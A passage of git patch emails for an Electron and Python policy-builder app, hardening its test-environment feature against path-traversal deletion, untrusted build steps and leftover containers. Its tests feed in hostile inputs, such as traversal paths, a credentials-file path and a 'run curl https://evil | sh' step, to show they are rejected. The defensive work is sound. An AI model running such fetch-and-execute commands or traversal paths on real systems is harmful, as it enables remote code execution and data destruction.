expect(invoke('testenv:start', 'stop', {})).rejects.toThrow('The request needs an environment'); + await invoke('testenv:start', 'stop', { environment }); + expect(started()[0].input).toEqual({ environment, cacheDir: '/user-data/testenv' }); + }); + + it('takes a .env file only from inside a known project', async () => { + await expect(invoke('testenv:start', 'stop', { environment, envFile: 'relative/.env' })).rejects.toThrow('envFile must be an absolute path'); + await expect(invoke('testenv:start', 'stop', { environment, envFile: '/Users/me/.aws/credentials' })).rejects.toThrow( + 'The .env file must be in the project folder' + ); + state.known.add('/projects/web/.env'); + await invoke('testenv:start', 'stop', { environment, envFile: '/projects/web/.env' }); + expect(started()[0].input.envFile).toBe('/projects/web/.env'); + }); + + it('cancels a run, and every run still going when the app quits', async () => { + const first = await invoke('testenv:start', 'stop', { environment }); + await invoke('testenv:start', 'start', { environment }); + const [one, two] = stream.mock.results.map(result => result.value as { cancel: () => void }); + await invoke('testenv:cancel', first); + expect(one.cancel).toHaveBeenCalledTimes(1); + expect(two.cancel).not.toHaveBeenCalled(); + state.appEvents.get('will-quit')!(); + expect(two.cancel).toHaveBeenCalledTimes(1); + }); +}); + +describe('testenv queries', () => { + it('passes only the platform query’s own fields', async () => { + await invoke('testenv:platforms', { arch: 'x86_64', edition: 'community', version: 'latest', other: 1 }); + expect(query).toHaveBeenCalledWith('platforms', { arch: 'x86_64', edition: 'community', version: 'latest', cacheDir: '/user-data/testenv' }); + expect(() => invoke('testenv:platforms', { arch: 'x86_64' })).toThrow('Invalid platforms query'); + }); + + it('limits an image search', () => { + expect(() => invoke('testenv:search', { term: 'x'.repeat(101) })).toThrow('Invalid image search'); + }); +}); From 55ef17b90e889e3b76bc25577bacfef852b43e40 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:30:47 +0300 Subject: [PATCH 102/141] testenv: A project's masterfiles version can no longer name a folder to delete Test runs keep one masterfiles download per version in the cache, and delete a broken one by joining the version to the cache path. A shared project's cfbs.json could set the version to an absolute path, which then got deleted. Only a release (x.y.z or x.y.z-n) or master is now accepted, by the renderer, main and the sidecar, and the sidecar also checks that the folder resolves inside the cache. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 9 +++++++++ python/tests/test_testenv.py | 21 ++++++++++++++++++++ src/main/testenv.test.ts | 12 +++++++++++ src/main/testenv.ts | 9 ++++++++- src/renderer/src/project/cfbsProject.test.ts | 4 ++++ src/renderer/src/project/cfbsProject.ts | 7 ++++--- 6 files changed, 58 insertions(+), 4 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 2af5520..0ee5b57 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -638,6 +638,10 @@ def _deploy(engine, hub, masterfiles: str, host_id: str | None = None) -> None: _check(tagged, "Validating the policy on the hub") +# What build_policy takes: an exact release or master (it names a cache folder). +MASTERFILES = re.compile(r"^(\d+\.\d+\.\d+(-\d+)?|master)$") + + def build_policy(content: dict, masterfiles: str, cache_dir: str) -> str: """Builds the project as a policy set (cfbs) in a scratch copy; returns its out/masterfiles. One pristine `cfbs init` per masterfiles version is kept, so a rebuild needs no network.""" @@ -646,7 +650,12 @@ def build_policy(content: dict, masterfiles: str, cache_dir: str) -> str: import cfpb_backend + if not isinstance(masterfiles, str) or not MASTERFILES.fullmatch(masterfiles): + raise RunnerError(f"Unsupported masterfiles version: {masterfiles}") base = os.path.join(cache_dir, "masterfiles", masterfiles) + # It names a folder that gets deleted: it must stay in the cache. + if os.path.dirname(os.path.realpath(base)) != os.path.realpath(os.path.join(cache_dir, "masterfiles")): + raise RunnerError(f"Unsupported masterfiles version: {masterfiles}") if not os.path.isfile(os.path.join(base, "cfbs.json")): emit("step", step="build", message=f"Downloading masterfiles {masterfiles}") shutil.rmtree(base, ignore_errors=True) diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index 84cf9be..bf43d12 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -186,3 +186,24 @@ def test_a_registry_port_is_not_a_tag(): assert cfpb_testenv.split_reference("registry.corp:5000/base/rhel9") == ("registry.corp:5000/base/rhel9", "latest") assert cfpb_testenv.split_reference("registry.corp:5000/base/rhel9:1.2") == ("registry.corp:5000/base/rhel9", "1.2") assert cfpb_testenv.split_reference("rockylinux:9") == ("rockylinux", "9") + + +@pytest.mark.parametrize("version", ["/victim", "../../victim", "3.27.1\n", "3.27", "", None]) +def test_build_policy_refuses_a_masterfiles_version_that_is_not_a_release(tmp_path: Path, version): + victim = tmp_path / "victim" + victim.mkdir() + (victim / "keep").write_text("mine") + with pytest.raises(RunnerError, match="Unsupported masterfiles version"): + cfpb_testenv.build_policy({}, str(victim) if version == "/victim" else version, str(tmp_path / "cache")) + assert (victim / "keep").read_text() == "mine" + + +def test_build_policy_never_deletes_outside_the_cache(tmp_path: Path): + victim = tmp_path / "victim" + victim.mkdir() + (victim / "keep").write_text("mine") + (tmp_path / "cache" / "masterfiles").mkdir(parents=True) + (tmp_path / "cache" / "masterfiles" / "3.27.1").symlink_to(victim) + with pytest.raises(RunnerError, match="Unsupported masterfiles version"): + cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path / "cache")) + assert (victim / "keep").read_text() == "mine" diff --git a/src/main/testenv.test.ts b/src/main/testenv.test.ts index 9264397..20e184c 100644 --- a/src/main/testenv.test.ts +++ b/src/main/testenv.test.ts @@ -78,6 +78,18 @@ describe('testenv:start', () => { expect(started()[0].input.envFile).toBe('/projects/web/.env'); }); + it.each(['/Users/me/Documents', '../../..', '3.27', 'no', undefined])('builds only against a masterfiles release, not %j', async masterfiles => { + await expect(invoke('testenv:start', 'up', { environment, masterfiles })).rejects.toThrow('Invalid masterfiles version'); + expect(stream).not.toHaveBeenCalled(); + }); + + it('passes the masterfiles version to builds only', async () => { + await invoke('testenv:start', 'test', { environment, masterfiles: '3.27.1-2' }); + await invoke('testenv:start', 'reset', { environment, masterfiles: 'master' }); + await invoke('testenv:start', 'stop', { environment, masterfiles: '/Users/me/Documents' }); + expect(started().map(({ input }) => input.masterfiles)).toEqual(['3.27.1-2', 'master', undefined]); + }); + it('cancels a run, and every run still going when the app quits', async () => { const first = await invoke('testenv:start', 'stop', { environment }); await invoke('testenv:start', 'start', { environment }); diff --git a/src/main/testenv.ts b/src/main/testenv.ts index 4498d54..afc0c85 100644 --- a/src/main/testenv.ts +++ b/src/main/testenv.ts @@ -15,6 +15,9 @@ const BASE_IMAGES = new Set(['ubuntu:22.04', 'ubuntu:24.04', 'debian:12']); const STREAMING = new Set(['pull', 'inspect', 'up', 'run', 'test', 'exec', 'start', 'stop', 'destroy', 'reset']); // [registry[:port]/]name[:tag][@digest], as the sidecar checks it. const IMAGE_REFERENCE = /^[A-Za-z0-9][A-Za-z0-9._/:@-]{0,254}$/; +// The actions that build the project's policy set, against these masterfiles. +const BUILDING = new Set(['up', 'run', 'test', 'reset']); +const MASTERFILES = /^(\d+\.\d+\.\d+(-\d+)?|master)$/; const runs = new Map(); const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); @@ -37,7 +40,11 @@ async function sidecarRequest(action: string, request: unknown): Promise boolean): void { diff --git a/src/renderer/src/project/cfbsProject.test.ts b/src/renderer/src/project/cfbsProject.test.ts index 889d5c6..fe251fc 100644 --- a/src/renderer/src/project/cfbsProject.test.ts +++ b/src/renderer/src/project/cfbsProject.test.ts @@ -219,6 +219,10 @@ describe('loadCfbsProject', () => { expect(loaded).toMatchObject({ name: 'my-policy', description: '', masterfiles: null }); }); + it.each(['/Users/me/Documents', '../../..', '3.27', 'main'])('takes no masterfiles version from a project’s %j', version => { + expect(loadCfbsProject({ build: [{ name: 'masterfiles', version }] }, null, 'x').masterfiles).toBeNull(); + }); + it('refuses a project made by a newer builder', () => { expect(() => loadCfbsProject({ name: 'x', build: [] }, { schema_version: SCHEMA_VERSION + 1 }, 'x')).toThrow(/newer version of CFEngine Policy Builder/); }); diff --git a/src/renderer/src/project/cfbsProject.ts b/src/renderer/src/project/cfbsProject.ts index 7239492..a733c43 100644 --- a/src/renderer/src/project/cfbsProject.ts +++ b/src/renderer/src/project/cfbsProject.ts @@ -335,13 +335,14 @@ export interface LoadedProject { type: ProjectType; } -// The masterfiles build entry's release, "master" for a branch/URL one, null without. +// The masterfiles build entry's release, "master" for a branch/URL one, null without (or for +// anything else: the version names a cache folder for test runs). function masterfilesOf(build: unknown[]): string | null { const entry = build.find(item => isObject(item) && typeof item.name === 'string' && /(^|\/)masterfiles$/.test(item.name)) as Record | undefined; if (!entry) return null; - if (typeof entry.version === 'string' && /^\d+\.\d+\.\d+(-\d+)?$/.test(entry.version)) return entry.version; - return typeof entry.url === 'string' || typeof entry.branch === 'string' ? 'master' : typeof entry.version === 'string' ? entry.version : null; + if (typeof entry.version === 'string' && /^(\d+\.\d+\.\d+(-\d+)?|master)$/.test(entry.version)) return entry.version; + return typeof entry.url === 'string' || typeof entry.branch === 'string' ? 'master' : null; } /** From c05af8cae9f96719f50d5791419fddcfac973a1d Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:32:03 +0300 Subject: [PATCH 103/141] testenv: Test runs build only local modules with the builder's own steps A test run passed the renderer's modules to `cfbs build` unchecked, so a `run` step (or a remote module) in them would execute or fetch anything. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/testenv.test.ts | 19 +++++++++++++++++-- src/main/testenv.ts | 25 +++++++++++++++++++++++-- 2 files changed, 40 insertions(+), 4 deletions(-) diff --git a/src/main/testenv.test.ts b/src/main/testenv.test.ts index 20e184c..ae52008 100644 --- a/src/main/testenv.test.ts +++ b/src/main/testenv.test.ts @@ -26,6 +26,8 @@ const invoke = invoker(state.handlers); const stream = vi.mocked(startSidecarStream); const query = vi.mocked(testEnvQuery); const environment = { id: 'env1', hosts: [] }; +const policyModule = { name: './web.cf', steps: ['copy ./web.cf services/cfbs/web.cf', 'policy_files services/cfbs/web.cf', 'bundles web'] }; +const content = { project: { files: [] }, modules: [policyModule, { name: './lib/', steps: ['directory ./ services/cfbs/lib/'] }] }; beforeEach(() => { state.handlers.clear(); @@ -84,12 +86,25 @@ describe('testenv:start', () => { }); it('passes the masterfiles version to builds only', async () => { - await invoke('testenv:start', 'test', { environment, masterfiles: '3.27.1-2' }); - await invoke('testenv:start', 'reset', { environment, masterfiles: 'master' }); + await invoke('testenv:start', 'test', { environment, content, masterfiles: '3.27.1-2' }); + await invoke('testenv:start', 'reset', { environment, content, masterfiles: 'master' }); await invoke('testenv:start', 'stop', { environment, masterfiles: '/Users/me/Documents' }); expect(started().map(({ input }) => input.masterfiles)).toEqual(['3.27.1-2', 'master', undefined]); }); + it.each([ + ['a run step', { ...policyModule, steps: [...policyModule.steps, 'run curl https://evil | sh'] }], + ['a step that isn’t a string', { ...policyModule, steps: [['run', 'x']] }], + ['a module to fetch', { ...policyModule, name: 'evil-module' }], + ['a module without steps', { name: './web.cf' }] + ])('builds only the builder’s own module steps, not %s', async (_, module) => { + await expect(invoke('testenv:start', 'run', { environment, masterfiles: 'master', content: { ...content, modules: [module] } })).rejects.toThrow( + 'Invalid project content' + ); + await expect(invoke('testenv:start', 'run', { environment, masterfiles: 'master' })).rejects.toThrow('Invalid project content'); + expect(stream).not.toHaveBeenCalled(); + }); + it('cancels a run, and every run still going when the app quits', async () => { const first = await invoke('testenv:start', 'stop', { environment }); await invoke('testenv:start', 'start', { environment }); diff --git a/src/main/testenv.ts b/src/main/testenv.ts index afc0c85..3bbfef9 100644 --- a/src/main/testenv.ts +++ b/src/main/testenv.ts @@ -18,10 +18,26 @@ const IMAGE_REFERENCE = /^[A-Za-z0-9][A-Za-z0-9._/:@-]{0,254}$/; // The actions that build the project's policy set, against these masterfiles. const BUILDING = new Set(['up', 'run', 'test', 'reset']); const MASTERFILES = /^(\d+\.\d+\.\d+(-\d+)?|master)$/; +// The step kinds the builder emits: `cfbs build` would run any other (`run` executes a command). +const BUILDER_STEP = /^(copy|directory|policy_files|bundles) /; const runs = new Map(); const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); +// Local modules ("./…", nothing to fetch) whose steps are all the builder's own. +const isBuilderContent = (content: unknown) => + isRecord(content) && + isRecord(content.project) && + Array.isArray(content.modules) && + content.modules.every( + module => + isRecord(module) && + typeof module.name === 'string' && + module.name.startsWith('./') && + Array.isArray(module.steps) && + module.steps.every(step => typeof step === 'string' && BUILDER_STEP.test(step)) + ); + // What the sidecar gets: the renderer's request, checked, plus where builds and masterfiles are cached. async function sidecarRequest(action: string, request: unknown): Promise> { if (!isRecord(request)) throw new Error('The request must be an object'); @@ -42,9 +58,14 @@ async function sidecarRequest(action: string, request: unknown): Promise { if (typeof masterfiles !== 'string' || !MASTERFILES.test(masterfiles)) throw new Error('Invalid masterfiles version'); - return { ...rest, masterfiles, cacheDir: join(app.getPath('userData'), 'testenv') }; + if (!isBuilderContent(content)) throw new Error('Invalid project content'); + return { masterfiles, content }; } export function registerTestEnvHandlers(isTrustedFrame: (frame: WebFrameMain | null) => boolean): void { From d6e0395f8d53de5d57dcbd07ebdb90ee5a55fc6e Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:37:55 +0300 Subject: [PATCH 104/141] Cancel, quit and timeouts no longer leave containers and ssh running Electron's SIGTERM killed only the Python process: no `finally` ran, so the image-builder and cf-promises containers, and the ssh or git it had started, kept running. The sidecar now exits on SIGTERM through its cleanup, runs in its own process group that main stops as a whole, and labels its throwaway containers with its process, so `up` and Build remove those of runs killed before they could. Quitting the app also stops one-shot runs (Build, Deploy), not only test environment streams. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_backend.py | 7 ++++ python/cfpb_build.py | 3 +- python/cfpb_testenv.py | 49 ++++++++++++++++++++++--- python/tests/test_build.py | 13 +++++-- python/tests/test_cfpb_backend.py | 24 +++++++++++++ python/tests/test_testenv.py | 35 ++++++++++++++++++ src/main/backend.test.ts | 56 +++++++++++++++++++++++++++-- src/main/backend.ts | 60 +++++++++++++++++++++++++------ 8 files changed, 227 insertions(+), 20 deletions(-) diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index d55b1e4..af2df61 100644 --- a/python/cfpb_backend.py +++ b/python/cfpb_backend.py @@ -19,6 +19,7 @@ import os import re import shutil +import signal import socket import subprocess import sys @@ -468,7 +469,13 @@ def testenv_command(action: str) -> int: return 1 +def _terminated(signum, _frame) -> None: + """Cancel, quit and timeouts SIGTERM us: unwind, so `finally` blocks remove what we started.""" + sys.exit(128 + signum) + + def main(argv: list[str] | None = None) -> int: + signal.signal(signal.SIGTERM, _terminated) # Windows would otherwise decode stdio with the ANSI code page. for stream in (sys.stdin, sys.stdout, sys.stderr): if hasattr(stream, "reconfigure"): diff --git a/python/cfpb_build.py b/python/cfpb_build.py index a1cc535..2c82b31 100644 --- a/python/cfpb_build.py +++ b/python/cfpb_build.py @@ -129,7 +129,8 @@ def _validate_in_docker(directory: str, masterfiles: str) -> dict: "problems": [], "message": "Start a test host once (Test Results & Logs) to check with cf-promises.", } - container = engine.containers.run(images[0], "sleep infinity", detach=True) + cfpb_testenv.sweep_orphans(engine) + container = engine.containers.run(images[0], "sleep infinity", detach=True, labels=cfpb_testenv.owner_labels()) try: buffer = io.BytesIO() with tarfile.open(fileobj=buffer, mode="w") as archive: diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 0ee5b57..75652ae 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -11,6 +11,7 @@ import os import re import shutil +import socket import sys import urllib.request from pathlib import Path @@ -121,6 +122,44 @@ def client(): return docker.DockerClient(base_url=host, timeout=30) +# Throwaway containers (image builds, checks) say which sidecar process they belong to. +LABEL_OWNER = "cfpb.owner" + + +def owner_labels() -> dict[str, str]: + return {LABEL_OWNER: f"{socket.gethostname()}:{os.getpid()}"} + + +def _alive(pid: int) -> bool: + if sys.platform == "win32": + import ctypes + + kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined] + handle = kernel32.OpenProcess(0x100000, False, pid) # SYNCHRONIZE + if not handle: + return False + try: + return kernel32.WaitForSingleObject(handle, 0) == 0x102 # WAIT_TIMEOUT: still running + finally: + kernel32.CloseHandle(handle) + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + return True + return True + + +def sweep_orphans(engine) -> None: + """Removes the throwaway containers of sidecar runs that were killed before they could.""" + for container in engine.containers.list(all=True, filters={"label": LABEL_OWNER}): + host, _, pid = container.labels.get(LABEL_OWNER, "").rpartition(":") + ours = host == socket.gethostname() and LABEL_ENV not in container.labels + if ours and pid.isdigit() and not _alive(int(pid)): + container.remove(force=True) + + def _docker_installed() -> bool: apps = [Path("/Applications/Docker.app"), Path("/Applications/OrbStack.app")] return bool(shutil.which("docker") or shutil.which("colima") or any(app.exists() for app in apps)) @@ -428,7 +467,7 @@ def ensure_image( user="root", detach=True, init=True, - labels={"cfpb.build": "1"}, + labels={"cfpb.build": "1", **owner_labels()}, platform=DOCKER_PLATFORM[arch], ) try: @@ -437,9 +476,9 @@ def ensure_image( file = f"/tmp/{found['filename']}" command = f"curl -fsSL -o {file} {found['url']} && {install.format(file=file)} && rm {file}" _check(run_in(engine, builder, command, None, "setup"), "Installing CFEngine") - builder.commit( - repository=repository, tag=tag, changes=['ENTRYPOINT [""]', 'CMD ["sleep", "infinity"]', "USER root"] - ) + # The image keeps the builder's labels: blank the owner, or its containers would be swept. + changes = ['ENTRYPOINT [""]', 'CMD ["sleep", "infinity"]', "USER root", f"LABEL {LABEL_OWNER}="] + builder.commit(repository=repository, tag=tag, changes=changes) finally: builder.remove(force=True) return f"{repository}:{tag}" @@ -497,6 +536,7 @@ def inspect(request: dict) -> None: entrypoint=["cat"], user="root", remove=True, + labels=owner_labels(), platform=DOCKER_PLATFORM[arch], ) fields = parse_os_release(output.decode("utf-8", "replace")) @@ -686,6 +726,7 @@ def up(request: dict, finish: bool = True) -> str: the policy to the hub and bootstrap everyone to it. Returns the built masterfiles. With `hosts`, only those (and the hub they bootstrap to) are set up.""" env, engine = request["environment"], client() + sweep_orphans(engine) every = env.get("hosts") or [] hub_host = next((h for h in every if h["id"] == env.get("hub")), every[0] if every else None) if hub_host is None: diff --git a/python/tests/test_build.py b/python/tests/test_build.py index ba6055e..3ba61be 100644 --- a/python/tests/test_build.py +++ b/python/tests/test_build.py @@ -211,13 +211,17 @@ def __init__(self, tags: list[str], exit_code: int = 0, output: bytes = b""): self.tags, self.exit_code, self.output = tags, exit_code, output self.images = self self.containers = self - self.started, self.archives, self.removed = [], [], False + self.started, self.archives, self.removed, self.labels, self.swept = [], [], False, None, False - def list(self): + def list(self, all=False, filters=None): + if filters: # the orphan sweep's container query + self.swept = True + return [] return [type("Image", (), {"tags": self.tags})()] - def run(self, image, command, detach): + def run(self, image, command, detach, labels=None): self.started.append(image) + self.labels = labels return self def put_archive(self, path, data): @@ -256,6 +260,9 @@ def test_validate_in_docker_maps_container_paths_and_removes_the_container( assert engine.started == ["cfpb-cache/ubuntu-24:3.27.1"] assert engine.archives == ["/tmp"] assert engine.removed is True + # Labelled, so a later run removes it if this one is killed first; and that sweep ran. + assert engine.labels == cfpb_testenv.owner_labels() + assert engine.swept is True # --- ensure_gitignore --- diff --git a/python/tests/test_cfpb_backend.py b/python/tests/test_cfpb_backend.py index eb428d9..396d009 100644 --- a/python/tests/test_cfpb_backend.py +++ b/python/tests/test_cfpb_backend.py @@ -408,3 +408,27 @@ def test_masterfiles_refuses_a_bad_version(monkeypatch: pytest.MonkeyPatch): code, _stdout, _stderr = _run(["masterfiles"], json.dumps({"version": "3.27.x"}), monkeypatch) assert code == 2 + + +# What main runs in place of a command: something slow with cleanup to do. +SLOW_COMMAND = """ +import sys, time, cfpb_backend +def slow(): + try: + print("started", flush=True) + time.sleep(30) + finally: + print("cleaned up", flush=True) +cfpb_backend.format_command = slow +sys.exit(cfpb_backend.main(["format"])) +""" + + +@pytest.mark.skipif(sys.platform == "win32", reason="Windows has no SIGTERM to catch") +def test_sigterm_runs_the_cleanup_before_exiting(): + process = subprocess.Popen([sys.executable, "-c", SLOW_COMMAND], stdout=subprocess.PIPE, text=True) + assert process.stdout.readline() == "started\n" + process.terminate() + stdout, _ = process.communicate(timeout=10) + assert stdout == "cleaned up\n" + assert process.returncode == 143 diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index bf43d12..42da481 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -4,6 +4,10 @@ import hashlib import json +import os +import socket +import subprocess +import sys from pathlib import Path import pytest @@ -207,3 +211,34 @@ def test_build_policy_never_deletes_outside_the_cache(tmp_path: Path): with pytest.raises(RunnerError, match="Unsupported masterfiles version"): cfpb_testenv.build_policy({}, "3.27.1", str(tmp_path / "cache")) assert (victim / "keep").read_text() == "mine" + + +class _Container: + def __init__(self, owner: str): + self.labels, self.removed = {cfpb_testenv.LABEL_OWNER: owner}, False + + def remove(self, force: bool): + self.removed = force + + +def test_sweep_removes_only_the_throwaway_containers_of_dead_sidecars(): + finished = subprocess.Popen([sys.executable, "-c", ""]) + finished.wait() + host = socket.gethostname() + dead, alive = _Container(f"{host}:{finished.pid}"), _Container(f"{host}:{os.getpid()}") + elsewhere = _Container(f"other-machine:{finished.pid}") + # A test host, whose image a builder made, keeps that builder's label. + host_container = _Container(f"{host}:{finished.pid}") + host_container.labels[cfpb_testenv.LABEL_ENV] = "env" + queries = [] + + class Containers: + def list(self, all, filters): + queries.append(filters) + return [dead, alive, elsewhere, host_container] + + cfpb_testenv.sweep_orphans(type("Engine", (), {"containers": Containers()})()) + + assert queries == [{"label": cfpb_testenv.LABEL_OWNER}] + assert (dead.removed, alive.removed, elsewhere.removed, host_container.removed) == (True, False, False, False) + assert cfpb_testenv.owner_labels() == {cfpb_testenv.LABEL_OWNER: f"{host}:{os.getpid()}"} diff --git a/src/main/backend.test.ts b/src/main/backend.test.ts index d305efa..2ddcc4d 100644 --- a/src/main/backend.test.ts +++ b/src/main/backend.test.ts @@ -1,20 +1,25 @@ +import { spawn } from 'child_process'; +import { EventEmitter } from 'events'; import { existsSync } from 'fs'; import { join, resolve } from 'path'; +import { PassThrough } from 'stream'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { formatPolicy, resolveCommand, sidecarError, startSidecarStream } from './backend'; -const electron = vi.hoisted(() => ({ packaged: false })); +const electron = vi.hoisted(() => ({ packaged: false, quit: [] as (() => void)[] })); vi.mock('electron', () => ({ app: { get isPackaged() { return electron.packaged; - } + }, + on: (event: string, listener: () => void) => event === 'will-quit' && electron.quit.push(listener) } })); vi.mock('fs', async importOriginal => ({ ...(await importOriginal()), existsSync: vi.fn() })); +vi.mock('child_process', async importOriginal => ({ ...(await importOriginal()), spawn: vi.fn() })); const result = (stderr: string, code: number | null = 1, signal: NodeJS.Signals | null = null) => ({ code, signal, stderr, stdout: '' }); @@ -74,3 +79,50 @@ describe('resolveCommand', () => { expect(await startSidecarStream(['testenv', 'pull'], '{}', () => {}).done).toMatchObject({ ok: false }); }); }); + +describe('stopping a sidecar', () => { + const pid = 4242; + let child: EventEmitter & { kill: ReturnType; pid: number; stderr: PassThrough; stdin: PassThrough; stdout: PassThrough }; + let kill: ReturnType; + + beforeEach(() => { + electron.packaged = false; + vi.mocked(existsSync).mockReturnValue(true); + child = Object.assign(new EventEmitter(), { pid, kill: vi.fn(), stdout: new PassThrough(), stderr: new PassThrough(), stdin: new PassThrough() }); + vi.mocked(spawn) + .mockReset() + .mockReturnValue(child as never); + kill = vi.spyOn(process, 'kill').mockImplementation(() => true); + }); + + afterEach(() => { + kill.mockRestore(); + vi.useRealTimers(); + }); + + it.skipIf(process.platform === 'win32')('cancels a stream by stopping its whole process group', async () => { + const stream = startSidecarStream(['testenv', 'up'], '{}', () => {}); + expect(vi.mocked(spawn).mock.calls[0][2]).toMatchObject({ detached: true }); + stream.cancel(); + expect(kill).toHaveBeenCalledWith(-pid, 'SIGTERM'); + child.emit('close', 143, null); + expect(await stream.done).toEqual({ ok: false, message: 'Cancelled' }); + }); + + it.skipIf(process.platform === 'win32')('times a one-shot run out, though the sidecar exits on its own', async () => { + vi.useFakeTimers(); + const formatted = formatPolicy('bundle agent main {}'); + vi.advanceTimersByTime(30_000); + expect(kill).toHaveBeenCalledWith(-pid, 'SIGTERM'); + child.emit('close', 143, null); + await expect(formatted).rejects.toThrow('Process timed out after 30000ms'); + }); + + it.skipIf(process.platform === 'win32')('stops one-shot runs when the app quits', async () => { + const formatted = formatPolicy('bundle agent main {}'); + electron.quit.forEach(listener => listener()); + expect(kill).toHaveBeenCalledWith(-pid, 'SIGTERM'); + child.emit('close', 143, null); + await expect(formatted).rejects.toThrow(); + }); +}); diff --git a/src/main/backend.ts b/src/main/backend.ts index 6f94471..3deebce 100644 --- a/src/main/backend.ts +++ b/src/main/backend.ts @@ -1,4 +1,4 @@ -import { spawn } from 'child_process'; +import { type ChildProcessWithoutNullStreams, spawn } from 'child_process'; import { app } from 'electron'; import { existsSync } from 'fs'; import { join } from 'path'; @@ -29,8 +29,38 @@ type SidecarResult = { signal: NodeJS.Signals | null; stderr: string; stdout: string; + timedOut?: boolean; }; +// Every sidecar still running, so quitting the app stops them (and what they started). +const running = new Set(); +let quitHooked = false; + +// Its own process group (POSIX), so stopping it also stops the ssh, git and cf-promises it runs. +function spawnSidecar(command: string, args: string[]): ChildProcessWithoutNullStreams { + const child = spawn(command, args, { windowsHide: true, detached: !isWindows }); + running.add(child); + child.on('close', () => running.delete(child)); + if (!quitHooked) { + quitHooked = true; + app.on('will-quit', () => running.forEach(stop)); + } + return child; +} + +// SIGTERM lets the sidecar clean up (its containers) before it exits. +function stop(child: ChildProcessWithoutNullStreams): void { + if (isWindows || !child.pid) { + child.kill(); + return; + } + try { + process.kill(-child.pid, 'SIGTERM'); + } catch { + child.kill('SIGTERM'); // the group is gone already + } +} + /** * Packaged: the PyInstaller bundle in the app's resources. Development: that * bundle if built, else the uv virtualenv (`npm run backend:sync` suffices). @@ -60,11 +90,15 @@ function runSidecar(args: string[], input: string, timeoutMs: number, onStderrLi } return new Promise((resolve, reject) => { - // `timeout` SIGTERMs a hung child, surfacing as 'close' with that signal. // No guard flag: settling an already-settled promise is a no-op. - const child = spawn(command, [...commandArgs, ...args], { windowsHide: true, timeout: timeoutMs }); + const child = spawnSidecar(command, [...commandArgs, ...args]); let stdout = ''; let stderr = ''; + let timedOut = false; + const timer = setTimeout(() => { + timedOut = true; + stop(child); + }, timeoutMs); child.stdout.setEncoding('utf8'); child.stdout.on('data', (chunk: string) => { @@ -82,13 +116,19 @@ function runSidecar(args: string[], input: string, timeoutMs: number, onStderrLi // A failed spawn (no execute permission, wrong architecture) arrives as an // event rather than a throw, so it has to become a rejection. - child.on('error', error => reject(error)); + child.on('error', error => { + clearTimeout(timer); + reject(error); + }); // Without a listener, EPIPE from a child that died before draining stdin // would crash the main process. 'close' still settles with the real cause. child.stdin.on('error', () => {}); - child.on('close', (code, signal) => resolve({ code, signal, stdout, stderr })); + child.on('close', (code, signal) => { + clearTimeout(timer); + resolve({ code, signal, stdout, stderr, timedOut }); + }); child.stdin.end(input, 'utf8'); }); @@ -110,7 +150,7 @@ export function startSidecarStream(args: string[], input: string, onEvent: (even if (!existsSync(command)) { return { cancel: () => {}, done: Promise.resolve({ ok: false, message: `Python backend not found at ${command}` }) }; } - const child = spawn(command, [...commandArgs, ...args], { windowsHide: true }); + const child = spawnSidecar(command, [...commandArgs, ...args]); let buffered = ''; let stderr = ''; let cancelled = false; @@ -146,7 +186,7 @@ export function startSidecarStream(args: string[], input: string, onEvent: (even return { cancel: () => { cancelled = true; - child.kill('SIGTERM'); + stop(child); }, done }; @@ -166,15 +206,15 @@ export async function testEnvQuery(action: 'doctor' | 'images' | 'package' | 'pl // Maps a failed sidecar outcome to an Error: the last stderr line as the // message (the sidecar's summary), the whole stderr as `details`. -export function sidecarError({ code, signal, stderr }: SidecarResult, timeoutMs: number): Error & { details: string } { +export function sidecarError({ code, signal, stderr, timedOut }: SidecarResult, timeoutMs: number): Error & { details: string } { const details = stderr.trim(); const lastLine = details .split(/\r?\n/) .filter(line => line.trim()) .pop(); let message: string; - // SIGTERM only ever comes from the spawn timeout - if (signal === 'SIGTERM') message = `Process timed out after ${timeoutMs}ms`; + // The sidecar exits on our SIGTERM (143) rather than dying of it. + if (timedOut || signal === 'SIGTERM') message = `Process timed out after ${timeoutMs}ms`; else message = lastLine ?? (signal ? `Process was killed by ${signal}` : `Process failed (exit ${code})`); return Object.assign(new Error(message), { details }); } From e854d519126f29ee93a50a45612e5b240e72f5e0 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:38:56 +0300 Subject: [PATCH 105/141] testenv: A failed masterfiles download no longer breaks later test runs cfbs init writes cfbs.json before it downloads masterfiles, and that file is what marks the cached copy as ready: after a network failure or a cancel, every later run built without masterfiles. The download now goes into a temporary folder that is moved into place only once complete. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_testenv.py | 13 ++++++++++--- python/tests/test_testenv.py | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 45 insertions(+), 3 deletions(-) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index 75652ae..8e8a538 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -13,6 +13,7 